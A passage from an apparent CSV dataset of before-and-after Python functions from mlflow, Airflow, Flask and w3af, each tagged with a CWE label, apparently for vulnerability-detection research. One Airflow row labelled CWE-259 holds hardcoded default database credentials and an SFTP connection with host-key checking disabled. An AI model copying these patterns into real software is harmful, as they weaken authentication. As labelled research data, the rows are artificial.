    :param artifact_path: Run-relative artifact path.
    :param conda_env: {{ conda_env }}
    :param code_paths: A list of local filesystem paths to Python file dependencies (or directories
                       containing file dependencies). These files are *prepended* to the system
                       path when the model is loaded.
    :param registered_model_name: If given, create a model version under
                                  ``registered_model_name``, also creating a registered model if one
                                  with the given name does not exist.

    :param signature: :py:class:`ModelSignature <mlflow.models.ModelSignature>`
                      describes model input and output :py:class:`Schema <mlflow.types.Schema>`.
                      The model signature can be :py:func:`inferred <mlflow.models.infer_signature>`
                      from datasets with valid model input (e.g. the training dataset with target
                      column omitted) and valid model output (e.g. model predictions generated on
                      the training dataset), for example:

                      .. code-block:: python

                        from mlflow.models.signature import infer_signature

                        train = df.drop_column(""target_label"")
                        predictions = ...  # compute model predictions
                        signature = infer_signature(train, predictions)
    :param input_example: Input example provides one or several instances of valid
                          model input. The example can be used as a hint of what data to feed the
                          model. The given example will be converted to a Pandas DataFrame and then
                          serialized to json using the Pandas split-oriented format. Bytes are
                          base64-encoded.
    :param await_registration_for: Number of seconds to wait for the model version to finish
                            being created and is in ``READY`` status. By default, the function
                            waits for five minutes. Specify 0 or None to skip waiting.
    :param pip_requirements: {{ pip_requirements }}
    :param extra_pip_requirements: {{ extra_pip_requirements }}
    :param metadata: Custom metadata dictionary passed to the model and stored in the MLmodel file.

                     .. Note:: Experimental: This parameter may change or be removed in a future
                                             release without warning.
    :param kwargs: kwargs to pass to `lightgbm.Booster.save_model`_ method.
    :return: A :py:class:`ModelInfo <mlflow.models.model.ModelInfo>` instance that contains the
             metadata of the logged model.

    .. code-block:: python
        :caption: Example

        from lightgbm import LGBMClassifier
        from sklearn import datasets
        import mlflow
        from mlflow.models.signature import infer_signature

        # Load iris dataset
        X, y = datasets.load_iris(return_X_y=True, as_frame=True)

        # Initialize our model
        model = LGBMClassifier(objective=""multiclass"", random_state=42)

        # Train the model
        model.fit(X, y)

        # Create model signature
        predictions = model.predict(X)
        signature = infer_signature(X, predictions)

        # Log the model
        artifact_path = ""model""
        with mlflow.start_run():
            model_info = mlflow.lightgbm.log_model(model, artifact_path, signature=signature)

        # Fetch the logged model artifacts
        print(f""run_id: {run.info.run_id}"")
        client = mlflow.MlflowClient()
        artifacts = [f.path for f in client.list_artifacts(run.info.run_id, artifact_path)]
        print(f""artifacts: {artifacts}"")

    .. code-block:: text
        :caption: Output

        artifacts: ['model/MLmodel',
                    'model/conda.yaml',
                    'model/model.pkl',
                    'model/python_env.yaml',
                    'model/requirements.txt']
    """"""
    return Model.log(
        artifact_path=artifact_path,
        flavor=mlflow.lightgbm,
        registered_model_name=registered_model_name,
        lgb_model=lgb_model,
        conda_env=conda_env,
        code_paths=code_paths,
        signature=signature,
        input_example=input_example,
        await_registration_for=await_registration_for,
        pip_requirements=pip_requirements,
        extra_pip_requirements=extra_pip_requirements,
        metadata=metadata,
        **kwargs,
    )",,mlflow/mlflow,281c22293556fa634836f16048d5ce93f7587922,"def log_model(
    lgb_model,
    artifact_path,
    conda_env=None,
    code_paths=None,
    registered_model_name=None,
    signature: ModelSignature = None,
    input_example: ModelInputExample = None,
    await_registration_for=DEFAULT_AWAIT_MAX_SLEEP_SECONDS,
    pip_requirements=None,
    extra_pip_requirements=None,
    metadata=None,
    **kwargs,
):
    """"""
    Log a LightGBM model as an MLflow artifact for the current run.

    :param lgb_model: LightGBM model (an instance of `lightgbm.Booster`_) or
                      models that implement the `scikit-learn API`_  to be saved.
    :param artifact_path: Run-relative artifact path.
    :param conda_env: {{ conda_env }}
    :param code_paths: A list of local filesystem paths to Python file dependencies (or directories
                       containing file dependencies). These files are *prepended* to the system
                       path when the model is loaded.
    :param registered_model_name: If given, create a model version under
                                  ``registered_model_name``, also creating a registered model if one
                                  with the given name does not exist.

    :param signature: :py:class:`ModelSignature <mlflow.models.ModelSignature>`
                      describes model input and output :py:class:`Schema <mlflow.types.Schema>`.
                      The model signature can be :py:func:`inferred <mlflow.models.infer_signature>`
                      from datasets with valid model input (e.g. the training dataset with target
                      column omitted) and valid model output (e.g. model predictions generated on
                      the training dataset), for example:

                      .. code-block:: python

                        from mlflow.models.signature import infer_signature

                        train = df.drop_column(""target_label"")
                        predictions = ...  # compute model predictions
                        signature = infer_signature(train, predictions)
    :param input_example: Input example provides one or several instances of valid
                          model input. The example can be used as a hint of what data to feed the
                          model. The given example will be converted to a Pandas DataFrame and then
                          serialized to json using the Pandas split-oriented format. Bytes are
                          base64-encoded.
    :param await_registration_for: Number of seconds to wait for the model version to finish
                            being created and is in ``READY`` status. By default, the function
                            waits for five minutes. Specify 0 or None to skip waiting.
    :param pip_requirements: {{ pip_requirements }}
    :param extra_pip_requirements: {{ extra_pip_requirements }}
    :param metadata: Custom metadata dictionary passed to the model and stored in the MLmodel file.

                     .. Note:: Experimental: This parameter may change or be removed in a future
                                             release without warning.
    :param kwargs: kwargs to pass to `lightgbm.Booster.save_model`_ method.
    :return: A :py:class:`ModelInfo <mlflow.models.model.ModelInfo>` instance that contains the
             metadata of the logged model.

    .. code-block:: python
        :caption: Example

        from lightgbm import LGBMClassifier
        from sklearn import datasets
        import mlflow

        # Load iris dataset
        X, y = datasets.load_iris(return_X_y=True, as_frame=True)

        # Initialize our model
        model = LGBMClassifier(objective=""multiclass"", random_state=42)

        # Train the model
        model.fit(X, y)

        # Log the model
        artifact_path = ""model""
        with mlflow.start_run():
            model_info = mlflow.lightgbm.log_model(model, artifact_path)

        # Fetch the logged model artifacts
        print(f""run_id: {run.info.run_id}"")
        client = mlflow.MlflowClient()
        artifacts = [f.path for f in client.list_artifacts(run.info.run_id, artifact_path)]
        print(f""artifacts: {artifacts}"")

    .. code-block:: text
        :caption: Output

        artifacts: ['model/MLmodel',
                    'model/conda.yaml',
                    'model/model.pkl',
                    'model/python_env.yaml',
                    'model/requirements.txt']
    """"""
    return Model.log(
        artifact_path=artifact_path,
        flavor=mlflow.lightgbm,
        registered_model_name=registered_model_name,
        lgb_model=lgb_model,
        conda_env=conda_env,
        code_paths=code_paths,
        signature=signature,
        input_example=input_example,
        await_registration_for=await_registration_for,
        pip_requirements=pip_requirements,
        extra_pip_requirements=extra_pip_requirements,
        metadata=metadata,
        **kwargs,
    )"
,UNKNOWN,UNKNOWN,tests/api_internal/endpoints/test_rpc_api_endpoint.py,1,"def test_initialize_method_map(self):
        from airflow.api_internal.endpoints.rpc_api_endpoint import initialize_method_map

        method_map = initialize_method_map()
        assert len(method_map) > 69",CWE-703,apache/airflow,2db0d11c1568b2db39c8ff40c44a0a295419fa22,"def test_initialize_method_map(self):
        from airflow.api_internal.endpoints.rpc_api_endpoint import initialize_method_map

        method_map = initialize_method_map()
        assert len(method_map) > 70"
,UNKNOWN,UNKNOWN,tests/onnx/test_onnx_model_export.py,1,"def test_model_save_without_specified_conda_env_uses_default_env_with_expected_dependencies(
    onnx_model, model_path
):
    mlflow.onnx.save_model(onnx_model=onnx_model, path=model_path)
    _assert_pip_requirements(model_path, mlflow.onnx.get_default_pip_requirements())",CWE-703,mlflow/mlflow,a9683f907f29f9fcd06459e4ab60eaa3be334cbc,"def test_model_save_without_specified_conda_env_uses_default_env_with_expected_dependencies(
    onnx_model, model_path
):
    mlflow.onnx.save_model(onnx_model=onnx_model, path=model_path)
    pyfunc_conf = _get_flavor_configuration(model_path=model_path, flavor_name=pyfunc.FLAVOR_NAME)
    conda_env_path = os.path.join(model_path, pyfunc_conf[pyfunc.ENV])
    with open(conda_env_path, ""r"") as f:
        conda_env = yaml.safe_load(f)

    assert conda_env == mlflow.onnx.get_default_conda_env()"
,UNKNOWN,UNKNOWN,airflow/utils/db.py,1,"def initdb(rbac=False):
    session = settings.Session()

    from airflow import models
    upgradedb()

    merge_conn(
        models.Connection(
            conn_id='airflow_db', conn_type='mysql',
            host='localhost', login='root', password='',
            schema='airflow'))
    merge_conn(
        models.Connection(
            conn_id='airflow_ci', conn_type='mysql',
            host='localhost', login='root', extra=""{\""local_infile\"": true}"",
            schema='airflow_ci'))
    merge_conn(
        models.Connection(
            conn_id='beeline_default', conn_type='beeline', port=""10000"",
            host='localhost', extra=""{\""use_beeline\"": true, \""auth\"": \""\""}"",
            schema='default'))
    merge_conn(
        models.Connection(
            conn_id='bigquery_default', conn_type='google_cloud_platform',
            schema='default'))
    merge_conn(
        models.Connection(
            conn_id='local_mysql', conn_type='mysql',
            host='localhost', login='airflow', password='airflow',
            schema='airflow'))
    merge_conn(
        models.Connection(
            conn_id='presto_default', conn_type='presto',
            host='localhost',
            schema='hive', port=3400))
    merge_conn(
        models.Connection(
            conn_id='google_cloud_default', conn_type='google_cloud_platform',
            schema='default',))
    merge_conn(
        models.Connection(
            conn_id='hive_cli_default', conn_type='hive_cli',
            schema='default',))
    merge_conn(
        models.Connection(
            conn_id='hiveserver2_default', conn_type='hiveserver2',
            host='localhost',
            schema='default', port=10000))
    merge_conn(
        models.Connection(
            conn_id='metastore_default', conn_type='hive_metastore',
            host='localhost', extra=""{\""authMechanism\"": \""PLAIN\""}"",
            port=9083))
    merge_conn(
        models.Connection(
            conn_id='mongo_default', conn_type='mongo',
            host='localhost', port=27017))
    merge_conn(
        models.Connection(
            conn_id='mysql_default', conn_type='mysql',
            login='root',
            host='localhost'))
    merge_conn(
        models.Connection(
            conn_id='postgres_default', conn_type='postgres',
            login='postgres',
            schema='airflow',
            host='localhost'))
    merge_conn(
        models.Connection(
            conn_id='sqlite_default', conn_type='sqlite',
            host='/tmp/sqlite_default.db'))
    merge_conn(
        models.Connection(
            conn_id='http_default', conn_type='http',
            host='https://www.google.com/'))
    merge_conn(
        models.Connection(
            conn_id='mssql_default', conn_type='mssql',
            host='localhost', port=1433))
    merge_conn(
        models.Connection(
            conn_id='vertica_default', conn_type='vertica',
            host='localhost', port=5433))
    merge_conn(
        models.Connection(
            conn_id='wasb_default', conn_type='wasb',
            extra='{""sas_token"": null}'))
    merge_conn(
        models.Connection(
            conn_id='webhdfs_default', conn_type='hdfs',
            host='localhost', port=50070))
    merge_conn(
        models.Connection(
            conn_id='ssh_default', conn_type='ssh',
            host='localhost'))
    merge_conn(
        models.Connection(
            conn_id='sftp_default', conn_type='sftp',
            host='localhost', port=22, login='travis',
            extra='''
                {""key_file"": ""~/.ssh/id_rsa"", ""no_host_key_check"": true}
            '''))
    merge_conn(
        models.Connection(
            conn_id='fs_default', conn_type='fs',
            extra='{""path"": ""/""}'))
    merge_conn(
        models.Connection(
            conn_id='aws_default', conn_type='aws',
            extra='{""region_name"": ""us-east-1""}'))
    merge_conn(
        models.Connection(
            conn_id='spark_default', conn_type='spark',
            host='yarn', extra='{""queue"": ""root.default""}'))
    merge_conn(
        models.Connection(
            conn_id='druid_broker_default', conn_type='druid',
            host='druid-broker', port=8082, extra='{""endpoint"": ""druid/v2/sql""}'))
    merge_conn(
        models.Connection(
            conn_id='druid_ingest_default', conn_type='druid',
            host='druid-overlord', port=8081, extra='{""endpoint"": ""druid/indexer/v1/task""}'))
    merge_conn(
        models.Connection(
            conn_id='redis_default', conn_type='redis',
            host='localhost', port=6379,
            extra='{""db"": 0}'))
    merge_conn(
        models.Connection(
            conn_id='sqoop_default', conn_type='sqoop',
            host='rmdbs', extra=''))
    merge_conn(
        models.Connection(
            conn_id='emr_default', conn_type='emr',
            extra='''
                {   ""Name"": ""default_job_flow_name"",
                    ""LogUri"": ""s3://my-emr-log-bucket/default_job_flow_location"",
                    ""ReleaseLabel"": ""emr-4.6.0"",
                    ""Instances"": {
                        ""Ec2KeyName"": ""mykey"",
                        ""Ec2SubnetId"": ""somesubnet"",
                        ""InstanceGroups"": [
                            {
                                ""Name"": ""Master nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""MASTER"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            },
                            {
                                ""Name"": ""Slave nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""CORE"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            }
                        ],
                        ""TerminationProtected"": false,
                        ""KeepJobFlowAliveWhenNoSteps"": false
                    },
                    ""Applications"":[
                        { ""Name"": ""Spark"" }
                    ],
                    ""VisibleToAllUsers"": true,
                    ""JobFlowRole"": ""EMR_EC2_DefaultRole"",
                    ""ServiceRole"": ""EMR_DefaultRole"",
                    ""Tags"": [
                        {
                            ""Key"": ""app"",
                            ""Value"": ""analytics""
                        },
                        {
                            ""Key"": ""environment"",
                            ""Value"": ""development""
                        }
                    ]
                }
            '''))
    merge_conn(
        models.Connection(
            conn_id='databricks_default', conn_type='databricks',
            host='localhost'))
    merge_conn(
        models.Connection(
            conn_id='qubole_default', conn_type='qubole',
            host= 'localhost'))
    merge_conn(
        models.Connection(
            conn_id='segment_default', conn_type='segment',
            extra='{""write_key"": ""my-segment-write-key""}')),
    merge_conn(
        models.Connection(
            conn_id='azure_data_lake_default', conn_type='azure_data_lake',
            extra='{""tenant"": ""<TENANT>"", ""account_name"": ""<ACCOUNTNAME>"" }'))
    merge_conn(
        models.Connection(
            conn_id='cassandra_default', conn_type='cassandra',
            host='localhost', port=9042))

    # Known event types
    KET = models.KnownEventType
    if not session.query(KET).filter(KET.know_event_type == 'Holiday').first():
        session.add(KET(know_event_type='Holiday'))
    if not session.query(KET).filter(KET.know_event_type == 'Outage').first():
        session.add(KET(know_event_type='Outage'))
    if not session.query(KET).filter(
            KET.know_event_type == 'Natural Disaster').first():
        session.add(KET(know_event_type='Natural Disaster'))
    if not session.query(KET).filter(
            KET.know_event_type == 'Marketing Campaign').first():
        session.add(KET(know_event_type='Marketing Campaign'))
    session.commit()

    dagbag = models.DagBag()
    # Save individual DAGs in the ORM
    for dag in dagbag.dags.values():
        dag.sync_to_db()
    # Deactivate the unknown ones
    models.DAG.deactivate_unknown_dags(dagbag.dags.keys())

    Chart = models.Chart
    chart_label = ""Airflow task instance by type""
    chart = session.query(Chart).filter(Chart.label == chart_label).first()
    if not chart:
        chart = Chart(
            label=chart_label,
            conn_id='airflow_db',
            chart_type='bar',
            x_is_date=False,
            sql=(
                ""SELECT state, COUNT(1) as number ""
                ""FROM task_instance ""
                ""WHERE dag_id LIKE 'example%' ""
                ""GROUP BY state""),
        )
        session.add(chart)
        session.commit()

    if rbac:
        from flask_appbuilder.security.sqla import models
        from flask_appbuilder.models.sqla import Base
        Base.metadata.create_all(settings.engine)",CWE-259,apache/airflow,f3d5a70abccc57fe1f77b83d53d83015574511d5,"def initdb(rbac=False):
    session = settings.Session()

    from airflow import models
    upgradedb()

    merge_conn(
        models.Connection(
            conn_id='airflow_db', conn_type='mysql',
            host='localhost', login='root', password='',
            schema='airflow'))
    merge_conn(
        models.Connection(
            conn_id='airflow_ci', conn_type='mysql',
            host='localhost', login='root', extra=""{\""local_infile\"": true}"",
            schema='airflow_ci'))
    merge_conn(
        models.Connection(
            conn_id='beeline_default', conn_type='beeline', port=""10000"",
            host='localhost', extra=""{\""use_beeline\"": true, \""auth\"": \""\""}"",
            schema='default'))
    merge_conn(
        models.Connection(
            conn_id='bigquery_default', conn_type='google_cloud_platform',
            schema='default'))
    merge_conn(
        models.Connection(
            conn_id='local_mysql', conn_type='mysql',
            host='localhost', login='airflow', password='airflow',
            schema='airflow'))
    merge_conn(
        models.Connection(
            conn_id='presto_default', conn_type='presto',
            host='localhost',
            schema='hive', port=3400))
    merge_conn(
        models.Connection(
            conn_id='google_cloud_default', conn_type='google_cloud_platform',
            schema='default',))
    merge_conn(
        models.Connection(
            conn_id='hive_cli_default', conn_type='hive_cli',
            schema='default',))
    merge_conn(
        models.Connection(
            conn_id='hiveserver2_default', conn_type='hiveserver2',
            host='localhost',
            schema='default', port=10000))
    merge_conn(
        models.Connection(
            conn_id='metastore_default', conn_type='hive_metastore',
            host='localhost', extra=""{\""authMechanism\"": \""PLAIN\""}"",
            port=9083))
    merge_conn(
        models.Connection(
            conn_id='mongo_default', conn_type='mongo',
            host='localhost', port=27017))
    merge_conn(
        models.Connection(
            conn_id='mysql_default', conn_type='mysql',
            login='root',
            host='localhost'))
    merge_conn(
        models.Connection(
            conn_id='postgres_default', conn_type='postgres',
            login='postgres',
            schema='airflow',
            host='localhost'))
    merge_conn(
        models.Connection(
            conn_id='sqlite_default', conn_type='sqlite',
            host='/tmp/sqlite_default.db'))
    merge_conn(
        models.Connection(
            conn_id='http_default', conn_type='http',
            host='https://www.google.com/'))
    merge_conn(
        models.Connection(
            conn_id='mssql_default', conn_type='mssql',
            host='localhost', port=1433))
    merge_conn(
        models.Connection(
            conn_id='vertica_default', conn_type='vertica',
            host='localhost', port=5433))
    merge_conn(
        models.Connection(
            conn_id='wasb_default', conn_type='wasb',
            extra='{""sas_token"": null}'))
    merge_conn(
        models.Connection(
            conn_id='webhdfs_default', conn_type='hdfs',
            host='localhost', port=50070))
    merge_conn(
        models.Connection(
            conn_id='ssh_default', conn_type='ssh',
            host='localhost'))
    merge_conn(
        models.Connection(
            conn_id='sftp_default', conn_type='sftp',
            host='localhost', port=22, login='travis',
            extra='''
                {""private_key"": ""~/.ssh/id_rsa"", ""ignore_hostkey_verification"": true}
            '''))
    merge_conn(
        models.Connection(
            conn_id='fs_default', conn_type='fs',
            extra='{""path"": ""/""}'))
    merge_conn(
        models.Connection(
            conn_id='aws_default', conn_type='aws',
            extra='{""region_name"": ""us-east-1""}'))
    merge_conn(
        models.Connection(
            conn_id='spark_default', conn_type='spark',
            host='yarn', extra='{""queue"": ""root.default""}'))
    merge_conn(
        models.Connection(
            conn_id='druid_broker_default', conn_type='druid',
            host='druid-broker', port=8082, extra='{""endpoint"": ""druid/v2/sql""}'))
    merge_conn(
        models.Connection(
            conn_id='druid_ingest_default', conn_type='druid',
            host='druid-overlord', port=8081, extra='{""endpoint"": ""druid/indexer/v1/task""}'))
    merge_conn(
        models.Connection(
            conn_id='redis_default', conn_type='redis',
            host='localhost', port=6379,
            extra='{""db"": 0}'))
    merge_conn(
        models.Connection(
            conn_id='sqoop_default', conn_type='sqoop',
            host='rmdbs', extra=''))
    merge_conn(
        models.Connection(
            conn_id='emr_default', conn_type='emr',
            extra='''
                {   ""Name"": ""default_job_flow_name"",
                    ""LogUri"": ""s3://my-emr-log-bucket/default_job_flow_location"",
                    ""ReleaseLabel"": ""emr-4.6.0"",
                    ""Instances"": {
                        ""Ec2KeyName"": ""mykey"",
                        ""Ec2SubnetId"": ""somesubnet"",
                        ""InstanceGroups"": [
                            {
                                ""Name"": ""Master nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""MASTER"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            },
                            {
                                ""Name"": ""Slave nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""CORE"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            }
                        ],
                        ""TerminationProtected"": false,
                        ""KeepJobFlowAliveWhenNoSteps"": false
                    },
                    ""Applications"":[
                        { ""Name"": ""Spark"" }
                    ],
                    ""VisibleToAllUsers"": true,
                    ""JobFlowRole"": ""EMR_EC2_DefaultRole"",
                    ""ServiceRole"": ""EMR_DefaultRole"",
                    ""Tags"": [
                        {
                            ""Key"": ""app"",
                            ""Value"": ""analytics""
                        },
                        {
                            ""Key"": ""environment"",
                            ""Value"": ""development""
                        }
                    ]
                }
            '''))
    merge_conn(
        models.Connection(
            conn_id='databricks_default', conn_type='databricks',
            host='localhost'))
    merge_conn(
        models.Connection(
            conn_id='qubole_default', conn_type='qubole',
            host= 'localhost'))
    merge_conn(
        models.Connection(
            conn_id='segment_default', conn_type='segment',
            extra='{""write_key"": ""my-segment-write-key""}')),
    merge_conn(
        models.Connection(
            conn_id='azure_data_lake_default', conn_type='azure_data_lake',
            extra='{""tenant"": ""<TENANT>"", ""account_name"": ""<ACCOUNTNAME>"" }'))
    merge_conn(
        models.Connection(
            conn_id='cassandra_default', conn_type='cassandra',
            host='localhost', port=9042))

    # Known event types
    KET = models.KnownEventType
    if not session.query(KET).filter(KET.know_event_type == 'Holiday').first():
        session.add(KET(know_event_type='Holiday'))
    if not session.query(KET).filter(KET.know_event_type == 'Outage').first():
        session.add(KET(know_event_type='Outage'))
    if not session.query(KET).filter(
            KET.know_event_type == 'Natural Disaster').first():
        session.add(KET(know_event_type='Natural Disaster'))
    if not session.query(KET).filter(
            KET.know_event_type == 'Marketing Campaign').first():
        session.add(KET(know_event_type='Marketing Campaign'))
    session.commit()

    dagbag = models.DagBag()
    # Save individual DAGs in the ORM
    for dag in dagbag.dags.values():
        dag.sync_to_db()
    # Deactivate the unknown ones
    models.DAG.deactivate_unknown_dags(dagbag.dags.keys())

    Chart = models.Chart
    chart_label = ""Airflow task instance by type""
    chart = session.query(Chart).filter(Chart.label == chart_label).first()
    if not chart:
        chart = Chart(
            label=chart_label,
            conn_id='airflow_db',
            chart_type='bar',
            x_is_date=False,
            sql=(
                ""SELECT state, COUNT(1) as number ""
                ""FROM task_instance ""
                ""WHERE dag_id LIKE 'example%' ""
                ""GROUP BY state""),
        )
        session.add(chart)
        session.commit()

    if rbac:
        from flask_appbuilder.security.sqla import models
        from flask_appbuilder.models.sqla import Base
        Base.metadata.create_all(settings.engine)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow-core/src/airflow/models/dag_version.py,0,"def write_dag(
        cls,
        *,
        dag_id: str,
        bundle_name: str,
        bundle_version: str | None = None,
        version_number: int = 1,
        session: Session = NEW_SESSION,
    ) -> DagVersion:
        """"""
        Write a new DagVersion into database.

        Checks if a version of the DAG exists and increments the version number if it does.

        :param dag_id: The DAG ID.
        :param version_number: The version number.
        :param session: The database session.
        :return: The DagVersion object.
        """"""
        existing_dag_version = session.scalar(
            with_row_locks(cls._latest_version_select(dag_id), of=DagVersion, session=session, nowait=True)
        )
        if existing_dag_version:
            version_number = existing_dag_version.version_number + 1

        dag_version = DagVersion(
            dag_id=dag_id,
            version_number=version_number,
            bundle_name=bundle_name,
            bundle_version=bundle_version,
        )
        log.debug(""Writing DagVersion %s to the DB"", dag_version)
        session.add(dag_version)
        session.commit()
        log.debug(""DagVersion %s written to the DB"", dag_version)
        return dag_version",CWE-Unknown,apache/airflow,7494d0f8ac9e56b808025ec50657c05194fc5da6,"def write_dag(
        cls,
        *,
        dag_id: str,
        bundle_name: str,
        bundle_version: str | None = None,
        version_number: int = 1,
        session: Session = NEW_SESSION,
    ) -> DagVersion:
        """"""
        Write a new DagVersion into database.

        Checks if a version of the DAG exists and increments the version number if it does.

        :param dag_id: The DAG ID.
        :param version_number: The version number.
        :param session: The database session.
        :return: The DagVersion object.
        """"""
        existing_dag_version = session.scalar(
            with_row_locks(cls._latest_version_select(dag_id), of=DagVersion, session=session, nowait=True)
        )
        if existing_dag_version:
            version_number = existing_dag_version.version_number + 1

        dag_version = DagVersion(
            dag_id=dag_id,
            version_number=version_number,
            bundle_name=bundle_name,
            bundle_version=bundle_version,
        )
        log.debug(""Writing DagVersion %s to the DB"", dag_version)
        session.add(dag_version)
        log.debug(""DagVersion %s written to the DB"", dag_version)
        return dag_version"
,UNKNOWN,UNKNOWN,tests/providers/google/cloud/transfers/test_bigquery_to_gcs.py,1,"def test_execute_deferrable_mode(self, mock_hook):
        source_project_dataset_table = f""{PROJECT_ID}:{TEST_DATASET}.{TEST_TABLE_ID}""
        destination_cloud_storage_uris = [""gs://some-bucket/some-file.txt""]
        compression = ""NONE""
        export_format = ""CSV""
        field_delimiter = "",""
        print_header = True
        labels = {""k1"": ""v1""}
        job_id = ""123456""
        hash_ = ""hash""
        real_job_id = f""{job_id}_{hash_}""

        expected_configuration = {
            ""extract"": {
                ""sourceTable"": {
                    ""projectId"": ""test-project-id"",
                    ""datasetId"": ""test-dataset"",
                    ""tableId"": ""test-table-id"",
                },
                ""compression"": ""NONE"",
                ""destinationUris"": [""gs://some-bucket/some-file.txt""],
                ""destinationFormat"": ""CSV"",
                ""fieldDelimiter"": "","",
                ""printHeader"": True,
            },
            ""labels"": {""k1"": ""v1""},
        }

        mock_hook.return_value.split_tablename.return_value = (PROJECT_ID, TEST_DATASET, TEST_TABLE_ID)
        mock_hook.return_value.generate_job_id.return_value = real_job_id
        mock_hook.return_value.insert_job.return_value = MagicMock(job_id=""real_job_id"", error_result=False)
        mock_hook.return_value.project_id = JOB_PROJECT_ID

        operator = BigQueryToGCSOperator(
            project_id=JOB_PROJECT_ID,
            task_id=TASK_ID,
            source_project_dataset_table=source_project_dataset_table,
            destination_cloud_storage_uris=destination_cloud_storage_uris,
            compression=compression,
            export_format=export_format,
            field_delimiter=field_delimiter,
            print_header=print_header,
            labels=labels,
            deferrable=True,
        )
        with pytest.raises(TaskDeferred) as exc:
            operator.execute(context=mock.MagicMock())

        assert isinstance(
            exc.value.trigger, BigQueryInsertJobTrigger
        ), ""Trigger is not a BigQueryInsertJobTrigger""

        mock_hook.return_value.insert_job.assert_called_once_with(
            configuration=expected_configuration,
            job_id=""123456_hash"",
            project_id=JOB_PROJECT_ID,
            location=None,
            timeout=None,
            retry=DEFAULT_RETRY,
            nowait=True,
        )",CWE-703,apache/airflow,47e7e254ba171fc950a69c41d94cb80019d83661,"def test_execute_deferrable_mode(self, mock_hook):
        source_project_dataset_table = f""{PROJECT_ID}:{TEST_DATASET}.{TEST_TABLE_ID}""
        destination_cloud_storage_uris = [""gs://some-bucket/some-file.txt""]
        compression = ""NONE""
        export_format = ""CSV""
        field_delimiter = "",""
        print_header = True
        labels = {""k1"": ""v1""}
        job_id = ""123456""
        hash_ = ""hash""
        real_job_id = f""{job_id}_{hash_}""

        expected_configuration = {
            ""extract"": {
                ""sourceTable"": {
                    ""projectId"": ""test-project-id"",
                    ""datasetId"": ""test-dataset"",
                    ""tableId"": ""test-table-id"",
                },
                ""compression"": ""NONE"",
                ""destinationUris"": [""gs://some-bucket/some-file.txt""],
                ""destinationFormat"": ""CSV"",
                ""fieldDelimiter"": "","",
                ""printHeader"": True,
            },
            ""labels"": {""k1"": ""v1""},
        }

        mock_hook.return_value.split_tablename.return_value = (PROJECT_ID, TEST_DATASET, TEST_TABLE_ID)
        mock_hook.return_value.generate_job_id.return_value = real_job_id
        mock_hook.return_value.insert_job.return_value = MagicMock(job_id=""real_job_id"", error_result=False)
        mock_hook.return_value.project_id = JOB_PROJECT_ID

        operator = BigQueryToGCSOperator(
            project_id=JOB_PROJECT_ID,
            task_id=TASK_ID,
            source_project_dataset_table=source_project_dataset_table,
            destination_cloud_storage_uris=destination_cloud_storage_uris,
            compression=compression,
            export_format=export_format,
            field_delimiter=field_delimiter,
            print_header=print_header,
            labels=labels,
            deferrable=True,
        )
        with pytest.raises(TaskDeferred) as exc:
            operator.execute(context=mock.MagicMock())

        assert isinstance(
            exc.value.trigger, BigQueryInsertJobTrigger
        ), ""Trigger is not a BigQueryInsertJobTrigger""

        mock_hook.return_value.insert_job.assert_called_once_with(
            configuration=expected_configuration,
            job_id=""123456_hash"",
            project_id=JOB_PROJECT_ID,
            location=None,
            timeout=None,
            retry=DEFAULT_RETRY,
            nowait=True,
        )"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/scaffold.py,0,"def teardown_request(self, f: TeardownCallable) -> TeardownCallable:
        """"""Register a function to be run at the end of each request,
        regardless of whether there was an exception or not.  These functions
        are executed when the request context is popped, even if not an
        actual request was performed.

        Example::

            ctx = app.test_request_context()
            ctx.push()
            ...
            ctx.pop()

        When ``ctx.pop()`` is executed in the above example, the teardown
        functions are called just before the request context moves from the
        stack of active contexts.  This becomes relevant if you are using
        such constructs in tests.

        Teardown functions must avoid raising exceptions. If
        they execute code that might fail they
        will have to surround the execution of that code with try/except
        statements and log any errors.

        When a teardown function was called because of an exception it will
        be passed an error object.

        The return values of teardown functions are ignored.

        .. admonition:: Debug Note

           In debug mode Flask will not tear down a request on an exception
           immediately.  Instead it will keep it alive so that the interactive
           debugger can still access it.  This behavior can be controlled
           by the ``PRESERVE_CONTEXT_ON_EXCEPTION`` configuration variable.
        """"""
        self.teardown_request_funcs.setdefault(None, []).append(f)
        return f",,pallets/flask,aa1d34dc51fc63dabc46f388822ba73b15d3ef97,"def teardown_request(self, f: TeardownCallable) -> TeardownCallable:
        """"""Register a function to be run at the end of each request,
        regardless of whether there was an exception or not.  These functions
        are executed when the request context is popped, even if not an
        actual request was performed.

        Example::

            ctx = app.test_request_context()
            ctx.push()
            ...
            ctx.pop()

        When ``ctx.pop()`` is executed in the above example, the teardown
        functions are called just before the request context moves from the
        stack of active contexts.  This becomes relevant if you are using
        such constructs in tests.

        Teardown functions must avoid raising exceptions, since they . If they
        execute code that might fail they
        will have to surround the execution of these code by try/except
        statements and log occurring errors.

        When a teardown function was called because of an exception it will
        be passed an error object.

        The return values of teardown functions are ignored.

        .. admonition:: Debug Note

           In debug mode Flask will not tear down a request on an exception
           immediately.  Instead it will keep it alive so that the interactive
           debugger can still access it.  This behavior can be controlled
           by the ``PRESERVE_CONTEXT_ON_EXCEPTION`` configuration variable.
        """"""
        self.teardown_request_funcs.setdefault(None, []).append(f)
        return f"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/ui/gui/exception_handling/unhandled_bug_report.py,0,"def __init__(self, w3af_core, title, tback, fname, plugins):
        # Before doing anything else, cleanup the report to remove any
        # user information that might be present.
        tback = cleanup_bug_report(tback)
        
        simple_base_window.__init__(self)
        trac_bug_report.__init__(self, tback, fname, plugins)
        
        # We got here because of an autogenerated bug, not because of the user
        # going to the Help menu and then clicking on ""Report a bug""
        self.autogen = True
        
        # Set generic window settings
        self.set_modal(True)
        self.set_title(title)
        
        self.vbox = gtk.VBox()
        self.vbox.set_border_width(10)
        
        # the label for the title
        self.title_label = gtk.Label()
